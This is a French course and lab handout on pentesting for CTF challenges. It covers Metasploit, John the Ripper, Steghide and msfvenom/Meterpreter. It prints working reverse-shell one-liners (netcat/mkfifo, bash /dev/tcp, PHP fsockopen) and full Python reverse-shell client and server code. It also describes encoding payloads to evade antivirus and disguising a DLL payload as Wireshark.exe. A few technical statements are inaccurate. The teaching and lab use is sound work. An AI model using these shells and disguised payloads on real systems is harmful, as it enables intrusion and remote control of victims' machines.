- Encoders: C’est un module de metasploit permettant d’encoder des payloads ou des shellcode dans le but d’outrepasser la détection antivirus et les IDS. En effet, en encodant plusieurs fois un code malveillant, l’antivirus de la machine cible devra faire beaucoup de calculs avant de détecter le virus. Pour faire ses analyses, un antivirus place le programme à analyser dans une sandbox (machine virtuelle isolée de l’hote) dans laquelle il va faire ses analyses. Cependant, lors d’une analyse régulière du système, l’antivirus devra analyser des milliers de fichiers. Il ne peut pas se permettre de passer trop de temps sur un fichier en particulier.

- Nops: En langage assembleur, NOP est l’abréviation de No Operation. Le NOP permet de garder une taille de payload constante en s’assurant que tout espace non utilisé par un autre code sera toujours valablement exécutable par le processeur. En effet, lors de l’écriture d’un payload ou d’un shellcode, les NOP permettent de régler la problématique des sauts d’instructions en assembleur. Cette partie est utilisée lors de la programmation d’exploit ou de payload pour metasploit.

- AUX: "AUX" correspond aux modules auxiliaires de metasploit. Comme par exemple les scans de ports, de versions de services en utilisant NMAP.

Ce qui peut être très intéressant avec cet outil, c’est de combiner l’utilisation de NMAP et de Metasploit. En effet, NMAP permet de trouver des versions de services. Il nous suffit de chercher de versions vulnérable avec Metasploit. Comme nous l’avons vu précédemment, on peut utiliser la commande searchsploit. Si cela ne suffit pas, on peut chercher des exploits sur le net et les importer dans Metasploit. Pour utiliser un exploit, il suffit de faire la commande use exploit/le_chemin_de_l’exploit. On peut également utiliser use pour utiliser tous les modules de Metasploit tel que le module auxiliaire avec use auxiliary/chemin_du_programm.
Pour rechercher un exploit directement dans metasploit afin de l’utiliser, on utilise la commande search. Cette commande va chercher tous les exploits disponibles dans Metasploit pour l’argument passé en paramètre.
On reprenant l’exemple de la section précédente, on aurait pu faire ceci:

Cette capture donne le "chemin" de tous les exploits en rapport avec FTP 3.0.

Pour cette exemple, nous allons voir comment exploiter un service vulnérable avec Metasploit. La machine cible sera une machine metasploitable2 conçu pour être vulnérable à beaucoup d’attaques:

Il suffit d’utiliser NMAP pour scanner la machine:

Ensuite on peut chercher des exploits sur vsftpd 2.3.4:

On constate qu’il existe un exploit pour effectuer un reverse shell sur la machine. On va donc l’utiliser avec la commande use:

On peut utiliser la commande show options pour voir les options de cet exploit:

On constate que nous devons renseigner un RHOST(Remote Host) qui correspond à la machine victime. On utilise la commande set RHOST pour éditer une option. Pour cet exemple, nous allons faire set RHOST 192.168.1.54. Une fois fait, on peut regarder à nouveau les options :

On constate que le champ RHOST a bien été renseigné. On peut à présent lancer l’exploit avec la commande exploit:

On s’aperçoit que l’exploit s’est bien exécuté sur la machine cible. Nous avons donc un reverse shell sur la machine distante.

Dans le cas d’un CTF qui utilise un serveur Samba par exemple, Metasploit peut être très utile pour énumérer la liste des utilisateurs du serveur Smb. Metasploit possède un module de scan permettant de faire cela. Il se trouve dans auxiliary/scanner/smb (voir figure [fig:smb-enum])

Il nous suffit de renseigner le champ "rhosts" qui correspond à l’adresse IP de la machine victime. Ensuite on tape "exploit" pour lancer le module. En quelques secondes, nous récupérons un utilisateur nommé "helios" qui est un utilisateur du serveur Samba.
On peut également récupérer le mot de passe avec une attaque par dictionnaire disponible avec un autre module nommé smb_login comme indiqué dans la figure [fig:attaque-smb-dic]

Enfin, il faut renseigner l’utilisateur avec lequel on veut trouver le mot de passe ainsi qu’un dictionnaire à utiliser. Dans notre cas, nous allons utiliser le dictionnaire "rockyou" qui est un dictionnaire comprenant 14.344.392 lignes (voir figure [fig:smb-dic-2])

Metasploit a trouvé le mot de passe de l’utilisateur "helios" qui était "qwerty". On peut donc se connecter au serveur SMB avec notre utilisateur:

Quatrième partie

L’intrusion dans le système cible

Après avoir exploité les failles via les outils présentés dans la section précédente, il se pourrait que vous soyez dans l’un des cas suivants :

• Caractères hashés

• Image contenant un fichier caché

• Possibilité d’effectuer un reverse-shell

Nous allons donc, pour chaque cas ci-dessus, vous expliquer les outils qui vous permettront d’avancer dans un CTF.

Après avoir exploité une faille SQL par exemple, il se pourrait que les mots de passes des utilisateurs soient hashés. C’est pourquoi nous allons vous présenter l’outil John The Ripper.

John The Ripper ou plus communément, John, est un utilitaire multi-plateformes ayant pour principal objectif de casser des mots de passe. John est certainement le programme le plus utilisé pour la sécurité de mot de passe. John a plusieurs fonctionnalités. En effet, dans un premier temps, il est capable de reconnaître un hash donné. Cette fonctionnalité pourra nous être utile lors de CTF pour savoir comment recoder une information modifiée par exemple. Ensuite, en fonction du hash qu’il a reconnu et des options qu’on lui a associé, John est capable de trouver un mot de passe associé à un utilisateur. Nous allons donc nous pencher sur son fonctionnement.

Comme nous l’avons vu dans la partie de Dirb, il existe une différence entre une attaque par dictionnaire et une attaque par bruteforce. Ici, John a la possibilité de faire 4 différents types d’attaques que nous allons détailler.
Attaque via single mode
Ce mode est le mode par défaut de cassage de mot de passe sur John. Cette attaque va tester tous les mots de passe basiques que nous avons l’habitude d’utiliser en fonction du nom d’utilisateur. Regardons un exemple très simple. Nous allons hasher le mot de passe ‘ user1999 ‘ et ‘ salon ‘ pour les utilisateurs respectifs ‘ user1 ‘ et ‘ user2 ‘ via un site web. Ensuite, nous allons enregistrer ceci dans un fichier texte sous ce format :

Nous pouvons à présent lancer John sans option en lui précisant juste le fichier à attaquer puis observer le résultat de l’attaque :

Dans un premier temps, on retrouve la première phase de John qui est l’analyse du hash. Il détecte dans notre cas que les mots de passe sont hashés en SHA1. Il va alors essayer de reconnaître des mots de passe qu’il avait déjà trouvé à partir de cet hôte et des mots de passe ressemblants à l’utilisateur. Puis dans une seconde partie, John n’a pas su trouver le mot de passe ‘salon’ associé à user2. Il a dû donc procéder à une attaque par mode incrémental. Pour éviter cela, on aurait pu forcer John à rester sur le single mode avec l’option ’ –single ’.
Attaque par dictionnaire
Comme nous l’avons vu avec l’outil Dirb, qui fait une attaque par dictionnaire, le principe sera ici le même. John va se baser sur un dictionnaire afin de trouver le mot de passe. En effet, le dictionnaire va être utilisé en fonction des règles que John aura reçues. Ainsi, si le mot de passe correspond aux règles combinées au dictionnaire, John pourra nous donner le mot de passe. Nous allons essayer ce concept avec le dictionnaire ‘rockyou.txt’ fourni par Kali :

L’attaque a été très rapide car le dictionnaire fourni par Kali est très complet. Nous pouvons maintenant voir l’attaque via le mode incrémental.
Attaque via le mode incrémental
Le mode incrémental est un mode permettant de tester toutes les combinaisons possibles afin d’arriver à nos fins. C’est le moyen ultime pour obtenir un mot de passe car il fonctionnera toujours. Mais il ne faudra pas être pressé car, plus le mot de passe sera long, plus ce mode prendra du temps. Nous allons rajouter un ‘ user3 ‘ avec pour mot de passe ‘ velizy78 ’ pour que le mode simple soit incapable de le trouver. Nous allons juste indiquer à John d’utiliser directement le mode incrémental sans option. Cependant, après plusieurs minutes, John n’avait pas trouvé et avait crashé. Nous allons donc faciliter la recherche de John en lui annonçant que nous savons quels sont les types de caractères à rechercher. En effet, le mode incrémental a des options que nous allons observer. L’option ‘ alpha ‘ va nous permettre de rechercher les mots de passe avec les lettres du clavier :

L’option "digit" va nous permettre de rechercher les mots de passe avec les chiffres du clavier :

L’option ‘ ASCII ‘ va nous permettre d’utiliser l’alphabet ASCII qui regroupe presque la totalité du clavier :

Comme on peut le voir, plus le champ de recherche est important, plus le mot de passe prend du temps à être trouvé.
Cet outil, très complet, vous permettra donc de résoudre des CTFs dont la finalité est de casser un hash.

A la suite de l’exploitation d’une failles via Metasploit ou encore Burpsuite, il se pourrait que vous puissiez télécharger une image. Peu banal mais efficace, l’image pourrait renfermer un fichier contenant peut être des identifiants et mots de passes. C’est pour cette raison que nous allons vous présenter l’outil Steghide.

Steghide est un programme de stéganographie permettant de masquer des données dans des fichiers image et audio. Il présente plusieurs fonctionnalités :
- Compression des données incorporées.
- Cryptage des données incorporées.
- Incorporation d’une somme de contrôle pour vérifier l’intégrité des données extraites.
- Prise en charge des fichiers JPEG, BMP, WAV, AU.
Les fichiers JPEG et BMP correspondent à des fichiers image tandis que les fichiers WAV et AU correspondent à des fichiers audio.
Cet outil est sous licence GNU General Public License (GPL), ce qui veut dire qu’il est possible d’effectuer des modifications et en faire la distribution de ce programme tant qu’il rentre dans les conditions de la GPL. On va d’abord voir comment intégrer un fichier texte dans un fichier image. Bien évidemment, il faut créer au préalable un fichier texte contenant un message.

Pour intégrer notre fichier texte [fichier].txt, il faut entrer la commande :

steghide embed -cf [fichier].jpeg -ef [fichier].txt

On ajoute ensuite un mot de passe pour permettre l’accès à ce fichier caché. L’option -ef (–embedfile) permet l’intégration du fichier désiré dans le fichier ciblé. L’option -cf (–coverfile) permet de spécifier le nom du fichier à incorporer.
Bien sûr, on peut mettre ce que l’on veut comme type de texte. Par exemple, dans notre attaque Kuya:1, lors de l’extraction d’un fichier caché dans une image, on a pu retrouver un fichier texte affichant un code de type "Brain fuck":

C’est un type de code original à intégrer pour rendre la capture du flag un peu plus amusante et plus complexe. Pour vérifier que le fichier cible a bien incorporé le message secret, on peut taper la commande visible en figure [fig:steghideinfo].

Comme on peut le voir, le fichier picture.jpg est incorporé dans un message crypté nommé secret.txt. Maintenant, on va extraire le fichier caché avec la commande figure [fig:steghideextract].

L’option -sf (–stegofile) permet de spécifier le “stego file” (fichier contenant les informations incorporées).En affichant ensuite le contenu du fichier texte dont on a extrait le message caché, on peut donc enfin le visualiser.
En conclusion, cet outil simple est pratique pour récupérer des messages cachés dans des fichiers pris en charge. Cependant, son niveau d’utilisation reste assez restreint car il ne prend en charge que très peu de formats de fichiers. Steghide sera donc généralement utilisé en début et fin d’attaque CTF car il peut contenir des indications comme des résolutions de flags.

Le reverse-shell qui signifie shell inversé est le moyen le plus fiable d’accéder aux données de la cible et de devenir administrateur de cette dernière. Cette technique consiste à faire parvenir au hacker un shell via un serveur ouvert et ainsi contourner toutes les sécurités mises en place. Cependant, avant de comprendre comment fonctionne un reverse-shell, il va nous falloir étudier un shell.
Comme on peut le voir sur les systèmes d’exploitations installés sans GUI (Graphical User Interface), notre seul moyen de communiquer avec la machine est un invite de commande. Cet interpréteur de commande nous permet d’exécuter des commandes qui sont elles mêmes des scripts capables d’afficher le résultat de la commande saisie à l’écran. Cet interpréteur est donc un programme que l’on nomme shell. Il ne faut pas confondre le shell avec le kernel qui est le noyau du système d’exploitation. Le shell permet donc à l’utilisateur d’exploiter ce noyau à travers des lignes de commandes. Nous pouvons alors synthétiser ceci en disant que le shell permet à l‘utilisateur de demander quelque chose à son noyau. Nous pouvons, grâce à cette définition comprendre le fonctionnement du reverse-shell soit du shell-inversé.
Le reverse-shell consiste à inverser les commandes de sorties et d’entrées du shell afin que ce soit au noyau de nous demander des informations pour afficher des résultats, et non l’inverse. Ainsi, les requêtes seront envoyées de la machine cible, passeront le firewall s’il existe, et arriveront à notre machine. Nous aurons alors la possibilité, comme sur un formulaire web, de remplir nos informations et de les renvoyer au serveur comme une simple réponse avec une très grande conséquence. Ce sera donc par ce moyen que nous arriverons à contourner les sécurités et nous introduire dans le système cible. Voici un schéma explicant le fonctionnement d’un reverse-shell:

Maintenant que nous avons introduit le concept du reverse-shell, il est venu le temps de présenter l’aspect technique de ce dernier.

Les étapes d’un reverse-shell
Lors d’une attaque sur CTF ou lors d’une réelle séance de hacking, il existe plusieurs grandes étapes obligatoires à passer comme vous l’avez vu lors des chapitres précédents. La détection et l’exploitation d’une faille va en général nous permettre d’écrire dans le langage informatique exploité. Il est important de savoir que tous les langages informatiques se doivent de parler avec le kernel afin de fonctionner. Il est donc essentiel à un langage de pouvoir exploiter des lignes de commandes. Nous passerons donc principalement par cette voie pour ouvrir notre port TCP ou UDP sur la machine cible. Cependant, pour qu’une connexion se mette en place et que le socket fonctionne, il est important que notre machine écoute sur le port que nous allons ouvrir. Ce pourquoi nous allons introduire le logiciel Netcat.
Netcat
Netcat est un logiciel réseau permettant l’ouverture de ports et le scan de ports en TCP et UDP. Surnommé “Le couteau suisse TCP”, cet utilitaire polyvalent et discret est utilisé en arrière plan d’autres applications afin d’effectuer des recherches de ports par exemple. Cependant, son principale rôle est l’ouverture de socket entre un client et un serveur. Un socket est la combinaison de l’adresse IP et du port permettant à un programme de communiquer avec autre un programme, distant, sur une machine spécifique. Donc Netcat va nous permettre de créer un socket ou d’écouter sur l’un de nos ports. C’est la deuxième option qui va nous intéresser dans un premier temps, lors d’un reverse-shell. En effet, Netcat va pouvoir écouter ce que le shell cible va lui renvoyer sur un port bien spécifique :

Comme on peut le voir ci-dessus, Netcat peut être noté ‘nc’. Avec les options associées à Netcat, on s’aperçoit que le programme écoute de la part de tout le monde sur le port 5555. Regardons ces options de plus près :
1) ‘ -l ‘ pour listen, est l’option de nc permettant d’activer le mode écoute.
2) ‘-v ‘ ou ‘-vv’ est le mode verbose. Cela signifie qu’il va afficher toutes les informations de retour telles que : “listening on [any] 5555 . . . “
3) ‘-p’ est l’option d’ouverture de ports.
Une fois cette commande lancée, nous pourrons laisser de côté ‘ nc -l ’ et nous focaliser sur l’ouverture du reverse-shell sur la machine cible.
En cas d’échec de connexion, il se pourrait que la cible n’ait pas la bonne version de Netcat. Il est possible de contourner le problème en réalisant la commande suivante dans la faille :

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Comme nous l’avons vu précédemment, il faut avoir trouvé une faille pour mettre en place un reverse-shell. Il existe donc des reverse-shell qui seront plus faciles à ouvrir dans certaines situations que d’autres. Netcat fait partie, comme nous l’avons vu plus tôt, des reverse-shell car il peut créer un socket en envoyant le shell à un utilisateur distant. C’est pourquoi nous allons nous intéresser aux différents types de reverse-shell.

Netcat-reverse
Imaginons qu’une faille nous permet d’utiliser un ‘ echo ‘ dans le terminal cible, nous pourrons alors appliquer netcat en ouverture de port comme ci-dessous :

L’option ‘ -e ‘ ou ‘ -c ‘ de Netcat va nous permettre d’exécuter un programme chez un utilisateur distant sur un port donné. Ici, le programme annoncé est : ‘ /bin/sh ‘, soit le shell.
Ce type de reverse-shell est extrêmement rapide à mettre en place dès qu’une faille est apparente car les commandes sont intuitives. Cependant, l’attaquant ne reçoit aucune informations au niveau du ‘ tty ‘. Un ‘ tty ‘ est une console virtuelle qui permet de taper des lignes de commandes. Il va donc falloir l’importer afin d’obtenir un reverse-shell digne de ce nom :

Pour remédier à ce problème, nous avons importer des commandes shell grâce à Python. Python est un langage informatique basé sur le C. Son argument ‘ -c ‘ va nous permettre de directement taper du Python sur la même ligne de commande. Le code qui suit est très simple car son fonctionnement est sa propre lecture traduite en français. Ceci nous donne : “ Importe le module pty puis, dans ce dernier, utilise la fonction spawn (faire apparaître) avec l’option ‘ /bin/bash ‘. Donc le module ‘ pty ‘ intègre une fonction qui permet de faire afficher des pseudo-terminaux avec le type de shell que l’on souhaite. Ici, nous avons choisi un bash-shell.
Nous obtenons à partir de ce point un bash-shell qui correspond au terminal de la cible. Nous nous sommes, à partir de ce moment précis, introduits pour la première fois au sein d’une machine cible !
Bash TCP
Au sein de cette partie, nous allons utiliser du bash avec une ouverture de port sur un serveur TCP comme ceci :

    bash -i >& /dev/tcp/ip attaquant/port écoute 0>&1

Voici un cas d’application réel de ce reverse :

On peut voir ici qu’en appliquant le reverse bash TCP sur la cible, nous avons pu nous connecter grâce à l’écoute de Netcat au shell ciblé.
Mais que signifie cette commande rentrée dans la machine cible ?
L’option ‘-i>&’ va nous permettre de retourner un bash interactif soit être en mode connecté.
‘/dev/tcp/ip attaquant/port écoute’ va annoncer à la cible à qui envoyer ce bash interactif et sur quel port à travers un socket TCP.
0>&1 va nous permettre d’inverser les entrées et les sorties et ainsi créer le reverse-shell. Nous nous sommes ainsi introduits via le protocole TCP en bash dans la machine cible. Le protocole TCP est souvent associé au protocole UDP car ils sont presque similaires. La plus grosse différence, qui est majeure, est que TCP est en mode connecté et UDP en mode non connecté. Le mode connecté est un mode d’envoi et de réception de fichier qui a un " accusé-réception". Ceci signifie que le message est éparpillé dans le réseau en plusieurs paquets, avec un numéro qui leur est propre, et arrive chez le destinataire dans un ordre non défini. Cette méthode nécessite donc au destinataire de recomposer le message et de vérifier que tous les paquets sont bien arrivés. Si ce n’est pas le cas, ce dernier va pouvoir demander à l’envoyeur de lui renvoyer le ou les paquets manquants. C’est ce que l’on nomme le mode connecté. Le protocole UDP va se baser sur le mode non connecté. Cette méthode est l’équivalent du temps réel et se doit donc d’avoir une interaction directe entre les deux machines. Le message ne pourra donc pas être découpé ce qui implique un renvoi complet de ce dernier s’il est incomplet à la réception. Le protocole UDP est principalement utilisé dans les applications en temps réels car son faible temps de latence permet d’accéder aux contenus rapidement. Cependant, en ce qui concerne le reverse-shell, UDP n’est vraiment pas conseillé car ce protocole, ne vérifiant pas l’intégrité des trames, pourrait nous faire penser que nous nous sommes trompés alors que c’est UDP qui n’est pas fiable. C’est pour cette raison que TCP sera utilisé en reverse-shell.
PHP
Le PHP est un langage de programmation Web couramment utilisé pour dialoguer avec la base de données ainsi que pour sécuriser les sites. A titre d’exemple, le HTML va permettre de créer un formulaire que l’utilisateur va remplir. Le PHP sera présent pour vérifier que toutes les conditions ont été respectées afin de valider le formulaire. On s’aperçoit donc que l’utilisateur communique directement avec le PHP. Il y donc des possibilités de réaliser des reverse-shell dans ce langage.
Nous pouvons tester le code PHP en localhost sur la figure [fig:phpreverse].

Le code PHP est le suivant :

     php -r '\$s=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <\&3 >\&3 2>\&3");'

Regardons ensemble cette commande afin de la comprendre :

• ’php -r’ va nous permettre d’exécuter du code PHP en ligne de commande

• ’php -r’ va nous permettre d’exécuter du code PHP en ligne de commande.

• ’$s=fsockopen("<IP>",<PORT>);’ cette commande a pour but, à travers la variable $s, d’ouvrir un socket grâce à la fonction fsockopen().

• ’exec ()’ est une fonction PHP permettant d’écrire dans le cmd.

Il est donc assez facile de réaliser un reverse-shell en PHP si l’administrateur web n’a pas réaliser correctement son travail au niveau des failles XSS.
Python
Au cours de cette partie, nous allons nous pencher sur le reverse-shell via le langage Python. Ce langage, basé principalement sur le C, se démocratise de plus en plus aujourd’hui. Certes, ce langage est lent, mais il va nous permettre grâce à sa grande ouverture d’exploiter toutes les failles informatiques.
Voyons un cas concret sur un reverse en localhost :

Comme on peut le voir ci-dessus, le code est assez important. C’est pourquoi il est plus simple de le visualiser sous un éditeur de texte :

Nous comprenons alors qu’un script peut être créé assez facilement afin d’invoquer un reverse-shell chez une cible. Le code peut être lancé soit directement dans un invite de commande soit en invoquant un programme existant chez la cible comme nous l’avons fait ci-dessus.

Meterpreter est un outil dépendant de Metasploit ayant pour but de créer des payloads assez particuliers. En effet, ces payloads, cryptés ou non, permettent de mettre en place un reverse-shell entre nous et notre cible. Nous allons donc dans un premier temps découvrir les injections DLL puis, nous ferons un comparatif entre les reverse shell "classiques" et ceux de Meterpreter.

Les fichier DLL (Dynamic Link Library) sont comme des fonctions utilisées par un programme principal. Lors de son exécution, seul le programme principal est visible dans le gestionnaire des tâches ce qui rend sa détection presque impossible. De cette manière, nous allons même pouvoir appliquer un DLL à un programme existant et ayant les droits administrateur. Ainsi, le retour de ce payload à notre écran nous fournira l’accès administrateur de la cible.
Nous allons donc vous montrer la conception d’une injection DLL.
Mise en place d’une injection DLL
Meterpreter va donc nous permettre la création de ces fichiers malicieux. Il faut cependant utiliser Msfvenom qui contient Meterpreter. Nous allons réaliser un reverse-shell sur un Windows server 2019 au cours de cette partie. Commençons par créer le fichier .dll:

Comme vous avez pu le voir, la commande est très longue mais facile à comprendre. Tout d’abord, l’argument "-p" va vous permettre de choisir le payload que vous souhaitez utiliser. N’hésitez pas à jeter à coup d’oeil à la liste de ses 556 payloads via la commande :

msfvenom - -list payloads

Cette liste vous montrera que les possibilités sont presque infinies car il existe même des attaques basées sur VNC ! Après avoir choisi son payload, il faut lui indiquer notre IP ainsi que notre port d’écoute. Pour terminer, nous indiquons la plateforme d’attaque, le format du fichier et enfin son nom. Il est à notifier que le "R" n’est en aucun cas obligatoire. Dans notre cas, nous n’avons pas choisi d’utiliser un encoder car nous avons désactivé l’anti-virus de la machine cible. N’hésitez pas encore une fois à lister les encoders afin d’en choisir un qui vous convienne. Ensuite, nous allons créer un programme qui exécutera ce fichier .dll :

Nous pouvons à pésent utiliser Winrar pour compresser ces deux fichiers sous un .exe que l’on nommera Wireshark par exemble :

Revenons sur Metasploit afin de lancer l’écoute du reverse-shell lors de l’exécution de Wirshark.exe sur Windows server:

Nous nous retrouvons bien dans Meterpreter qui va nous proposer plusieurs champs d’actions grâce à son reverse-shell. En effet, Meterpreter nous permet de manipuler les fichiers, le réseau, les périphériques ainsi que le système en lui même.
Il existe trois type de payload dans Meterpreter :

• Single Payload : Permettent d’exécuter une tâche spécifique, ex: lancement d’une calculatrice

• Stager Payload : Payload par étage, l’étage 0 va permettre la création du reverse shell et le stage 1 va permettre l’injection DLL vers la victime.

• Stageless payload: Payload regroupant la totalité des outils permettant l’exploitation de la victime.

Nous verrons simplement les Stager et Stageless payload puisqu’un single payload est simplement l’exécution d’un programme sur la machine cible.

Les stager payload sont des payload à étages comme son nom l’indique. En effet, leur avantage est d’être moins lourd en mémoire puisqu’une fois leur exécution faite, ils vont télécharger un autre payload qui permettra de faire l’injection DLL avec les librairies utiles pour le fonctionnement de Meterpreter.
Voici un schéma du fonctionnement:

Pour utiliser ce type de payload avec msfvenom il faut utiliser le paylaod windows/meterpreter/reverse_tcp. Les "slash" sont très important puisqu’ils permettent de différencier l’utilisation d’un stager d’un stageless payload.
De plus, l’avantage principale du staged payload c’est qu’il permet d’exécuter l’exploit directement dans la mémoire de la machine victime laissant ainsi très peu de traces sur le disque dur. Il y a également un chiffrage des données entre l’attaquant et la victime. Cependant, avec un stager payload, le chiffrement du trafic entre l’attaquant et la victime ne débute qu’après le téléchargement du second payload.

Dans cette catégorie, le payload est envoyé entièrement sur la machine de la victime. Celui-ci contient tout ce qui est nécessaire pour obtenir un reverse shell vers la machine de l’attaquant. Aucun transfert supplémentaire à partir de la machine de l’attaquant n’est nécessaire.
Voici un bref schéma de fonctionnement de ce payload:

Avec cette catégorie de payload, le code malveillant est envoyé entièrement sur la machine de la victime. Le chiffrement du trafic entre la victime et l’attaquant est lancé dès la première connexion. Les stageless payloads peuvent être utiles notamment dans des situations où la cible se trouve derrière un proxy qui bloque le téléchargement de fichiers exécutables.
Nous allons à présent comparer les payloads exploités par Meterpreter et les reverse-shell que nous vous avons présentés plus haut.

Comme vous l’aurez compris, les fichiers écris par Msfvenom puis exploités par Meterpreter sont bien des reverse-shell. Nous allons donc observer la différence de code entre un fichier Msfvenom et ceux vu dans la section précédente.
Voici un tableau comparatif des deux scripts:

Exercices de programmation

Au cours de cette partie, nous allons vous proposer de recoder des outils détaillés durant le cours afin que vous puissiez comprendre le fonctionnement global de ces derniers. Sachant que vous n’aurez pas le temps de recoder une application entière, nous vous proposons de ne recoder qu’une partie de l’outil en vous basant sur ce que nous avons déjà réalisé. Tout code suffisant pour être noté sera ajouté en bonus à votre note de TP. Si votre note de TP est déjà de 20, ce bonus sera basculé sur le DS.

Comme vous l’aurez compris durant le cours, Nmap est un outil très complet. C’est pour cette raison que nous vous proposons l’exercice suivant :
Réaliser une usurpation d’adresse (spoof) tout en recueillant les ports ouverts d’une machine et les versions des services. En vu du peu de temps que vous avez, nous vous proposons un code que nous avons réalisé qui permet de connaître les ports ouverts et la version du service smb. Ce code n’est certes pas parfait mais vous permettra de gagner du temps dans vos recherches voir annexe : [fig:prog1]
Pour vous aider, ce code est disponible sur Github via ce lien :
https://github.com/MatthieuGouyen/scan_port

Le second exercice que nous vous proposons est de compléter, améliorer et automatiser nos programmes client et server qui permettent un reverse-shell. Voici notre code :

center,caption=Code client,label=Code client,nofloat=figure

#! /usr/bin/env python3
""" Les envoies se font en bytes donc on encode les str en b"""
import socket, subprocess, os, sys
from time import sleep
host = "localhost"
port = 5555

connection_with_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)		#creation du socket

while connection_with_server.connect_ex((host, port)) != 0 : #connexion au serveur à l'infini
	sleep(2)
																
print ("Established connection with the server on the port "+str(port))

end = ""

while end != b"end": 															#b pour bytes
	command = connection_with_server.recv(1024)
	if command.decode() == "end" :
		connection_with_server.send(command)
		end = command
		
	cmd = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)  
																				#Popen -> création d'un programme fils dans un nouveau processus
																				#subprocess.PIPE -> rediretion vers le flux standard
	if command[:2].decode() == 'cd':
		command = command.decode()								
		if os.path.exists(str(command[3:])):									#vérification du chemin
			os.chdir(str(command[3:]))											#changement de dossier
			out = b"directory changed"
	else:
		out = cmd.stdout.read() + cmd.stderr.read()	 
	connection_with_server.send(out + b"\nEnd of the results\n ")
print ("Close of the session")
connection_with_server.close()

center,caption=Code serveur,label=Code serveur,nofloat=figure

#! /usr/bin/env python3
# Les envoies se font en bytes donc on encode les str en b
import socket
import pty

hote = 'localhost'
port = 5555

connection_main = socket.socket(socket.AF_INET, socket.SOCK_STREAM)		#création du socket
connection_main.bind((hote, port))										#connexion du socket au serveur
connection_main.listen(5)												#mode écoute
print("The server listens on the port "+str(port))

connection_with_client, infos_connection = connection_main.accept()		#ack de connexion

msg_received = ""


while msg_received != b"end" : 											#b pour bytes
	data = ''
	while data == '':
		data = input("msg to send : ")
	connection_with_client.send(data.encode())
	msg_received = connection_with_client.recv(1024)
	print(msg_received.decode())

print ("Close of the session")
connection_with_client.close()
connection_main.close()

Ces deux scripts sont disponibles sur https://github.com/MatthieuGouyen/Reverse

Cinquième partie

TP

Objectif : découverte des outils de pentest via des exercices, réalisation d’un CTF.
Durée : 3H
Au cours de ce TP, vous allez découvrir certains outils présents sur la distribution Kali Linux ainsi que les bons gestes à avoir lors de la réalisation d’un CTF. Dans un premier temps, vous allez réaliser trois exercices présents sur la machine TP1_CTF puis vous allez affronter le CTF Bulldog.
Voici ce dont vous aurez besoin :

• Le cours

• VM Kali.OVA sur le FTP de l’IUT

• VM Bulldog.OVA sur le FTP de l’IUT

Kali linux est une distribution qui nécessite des ressources surtout lors de gros calculs. N’hésitez pas à lui fournir 4Go de RAM et 3 cœurs de processeurs si cela est possible.

1. Veuillez installer et allumer Kali et TP1_CTF sous Virtualbox en réseau NAT. Kali possède le login « root » et le mot de passe « root ».

2. Vous êtes à présent dans un terminal sous Kali. Il vous faut dans un premier temps analyser votre réseau pour trouver votre cible. En effet, il est possible que vous n’ayez pas l’IP du CTF. La méthode la plus simple est de réaliser un : arp-scan - -localnet.
   Indiquez le fonctionnement de ce type de requête.

3. Nous sommes dans l’étape de recherche active d’informations.
   Lancez un scan Nmap et donner les ports et les services ouverts.

4. Réalisez un Dirb sur notre cible afin de trouver une piste d’attaque.
   Donnez les dossiers présents sur la cible.

Une fois que vous avez trouvé ces dossiers, veuillez lancer l’exercice 1 via l’url.

1. Vous voilà sur une page de connexion. Trouvez un moyen de trouver le login et le mot de passe afin de vous enregistrer.
   Aide : John The Ripper est l’outil idéal à utiliser si vous avez un mot de passe hashé.

Une fois que vous vous êtes enregistrés, vous pouvez passer à l’exercice 2.

1. Le formulaire est l’endroit qui contient le plus de failles. En effet, il permet à l’utilisateur de rentrer des informations et de communiquer avec le serveur Web.
   Quelle est l’information qui vous permettra de vous enregistrer ?

2. Comme vu dans le cours, mettez en place le proxy afin que Burpsuite puisse intercepter les requêtes du formulaire et ainsi vous permettre de vous enregistrer.

3. Voici un nouveau formulaire avec une autre faille à exploiter. En autonomie, trouvez un moyen d’obtenir le flag de cet exercice.
   Donner le nom de la faille ainsi que l’outil utilisé.

Vous pouvez à présent passer à l’exercice suivant.

1. Avec l’aide donnée par la page de l’exercice 3 ainsi que du cours, réalisez un reverse-shell sur la cible afin de trouver le flag.

2. Connectez vous en SSH avec les informations obtenues dans le flag.
   Donnez la commande pour se connecter en SSH.

3. Trouvez le flag dans /home/<USER>.

Dans cet exercice, vous allez réaliser le CTF Bulldog. Comme pour les autres machines, mettez-là en réseau NAT et essayez en autonomie de le réaliser. SI vous avez la moindre question, n’hésitez pas à appeler un encadrant afin qu’il puisse vous aider.

Objectif : exploitation des outils de scans, étude de documents, reverse-shell, python.
Durée : 3H
Lors de ce TP, vous allez devoir résoudre le CTF View2aKill présent au format OVA sur le FTP de l’IUT. Vous pouvez augmenter la quantité de RAM et de CPU de votre Kali en fonction de votre machine hôte.

1. Veuillez télécharger ce CTF et l’installer sous Virtualbox.

2. Allumez le CTF et Kali en réseau NAT et obtenez l’IP de la cible.

3. Commencez à faire une recherche d’informations active via Nmap et Dirb. N’hésitez pas à utiliser un scan avec le script par défaut afin d’obtenir un maximum d’informations.
   Indiquez les ports et les services ouverts.

4. A la suite de Dirb et de Nmap, observez toutes les pages trouvées afin d’obtenir un fichier et une page exploitables.
   Donnez l’url et le fichier.

5. Avec cette recherche active d’informations, vous devez avoir obtenu une page de connexion, un mail et un mot de passe associé. Si ce n’est pas le cas, n’hésitez pas à appeler l’encadrant ou à chercher plus longtemps.

6. Une fois connecté sur le site, à l’aide votre cours et des anciens TP, essayez de trouver une faille afin de mettre en place un reverse-shell.
   Aide : Burpsuite peut être d’une grande aide.

7. Le reverse-shell est lancé et vous êtes entré dans la machine cible.
   Quelle est l’utilisateur dont vous avez pris le contrôle ?
   Avec les conseils vus en cours et en fonction de vos droits sur la machine, cherchez un moyen d’établir une connexion SSH avec un utilisateur ayant plus de droits.

8. Vous avez donc plus de droits grâce à ce nouvel utilisateur et vous pouvez accéder aux dossiers d’autres utilisateurs. L’un d’eux contient un fichier .txt qui renferme d’importantes informations et consignes à suivre.
   Aide : le python vous permettra de résoudre rapidement l’énigme.

9. Si vous avez suivi les consignes et compris les concepts des CTFs, vous êtes censés avoir obtenu le flag et ainsi gagné la partie. Si ce n’est pas le cas, n’hésitez pas à contacter l’encadrant où à chercher plus longtemps.

DM
